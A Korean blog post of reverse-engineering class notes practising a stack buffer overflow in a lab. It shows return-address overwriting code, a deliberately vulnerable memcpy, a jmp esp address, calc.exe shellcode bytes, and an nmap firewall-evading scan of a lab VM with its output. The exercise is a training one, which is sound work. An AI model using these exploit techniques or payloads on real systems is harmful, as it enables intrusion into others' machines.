리버싱

16일차, 복귀주소를 활용한 악성코드 실습

컴공 2013. 4. 30. 01:11
반응형

 clt + f8로 caller부분 breakpoint하고 찾아서 nop으로 바꿈

BufferOverFlow_Basic.exe

처음부터 분석하거나
뒤에서 ebp+4로 콜러를찾아감

## 복귀 주소를 따라간다면 콜러를찾을수있다.!!!

---------------------------
지금은 콘솔창
void func(){
 int *p;
 p=(int*)&p;
 p+=2;
 *p+=0x0D;
}
int main (int argc,char* argv[])
{
 printf("Buffer \n\n");
 func();
 printf("hackked \n");
 printf("hked \n");
 getch();
 return 0;
}
//복귀주소를 0x0D로 옮긴다.

 

확인 win32 app

// aa.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

func(char *p){
 char buf[4];
 memcpy(buf, p, 1024);
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 char str[1024] = "AAAABBBBCCCCDDDD";
 func(str);
 return 0;
 return 0;
}

 

ret ~ pop eip

윈도우는 dll파일을 실행한다.

원래없던것을 opcode를 조합해 jmp esp를 만든다.
7C971EED

\xED\1E\97\7C =jmp esp
0x  숫자
\x  문자 (아스키코드 \0)
F10진행
F9 브레이크
디버그모드F
alt +8 디버그모드 jmp
이걸로 스택을 실행한다.
복귀주소에 jmp esp로하고 공격주소를 적음


#include "stdafx.h"
/*
void func(char *p){
 char buf[4];
 memcpy(buf, p, 1024);//메모리를 복사함 p값을 1024byte만큼 복사해 buf에 넣는다.
}
*/
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
/*
 char str[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\xED\1E\97\7C; //4byte씩 들어감
 func(str);
 return 0;
*/
 char calc[] = "calc.exe";
 WinExec(calc, SW_SHOW);

}
\\\\\\\\\\\\계산기 옵코드
:는 지운다
\x55
\x8B\xEC
\x83\xEC\x4C
\x53
\x56
\x57
\x8D\x7D\xB4
\xB9\x13\x00\x00\x00
\xB8\xCC\xCC\xCC\xCC
\xF3\xAB
\xA1\x1C\x00\x42\x00
\x89\x45\xF4
\x8B\x0D\x20\x00\x42\x00
\x89\x4D\xF8
\x8A\x15\x24\x00\x42\x00
\x88\x55\xFC
\x8B\xF4
\x6A\x05
\x8D\x45\xF4
\x50
\xFF\x15\x00\x52\x42\x00
\x3B\xF4
\xE8\xC9\x5B\xFF\xFF
\x5F
\x5E
\x5B
\x83\xC4\x4C
\x3B\xEC
\xE8\xBC\x5B\xFF\xFF
\x8B\xE5
\x5D
\xC2

83 EC 0C B8 63 61 6C 63 B9 2E 65 78 65 32 D2 90 90 90 90 90 C7 04 24 89 44 24 00 90 6A 05 50 89
4C 24 0C 88 54 24 10 FF 15 00 40 40 00 33 C0 83 C4 0C C2 10 00


mov EDX,kernel32.winexec
call EDX


nmap -port
netcat - 연결
-------------- 리눅스
perl로 공격함


int char a ===> $a

"  " = 'a'x1000  -->1000개의 a를 넣겠다
str[]="A...Z"+
 abcd.efgh

cd
ls
./
vi

포트만확인

nmap -sS -f xp의 IP -p 6000-7000
status Scan  foward  port_range 6000~~7000
1~1024 outbound (리눅스방화벽 무시하고 한다 by pass firewall)
nmap -sS -f 192
\\\\\\\\\\

root@bt:~# nmap -sS -f 192.168.17.150 -p 6000-7000

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2013-04-27 23:48 EDT
Nmap scan report for 192.168.17.150
Host is up (0.0014s latency).
Not shown: 1000 filtered ports
PORT     STATE SERVICE
6235/tcp open  unknown  <-------------------------------6235 포트가 열려있다.
MAC Address: 00:0C:29:68:99:56 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.11 seconds

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

반응형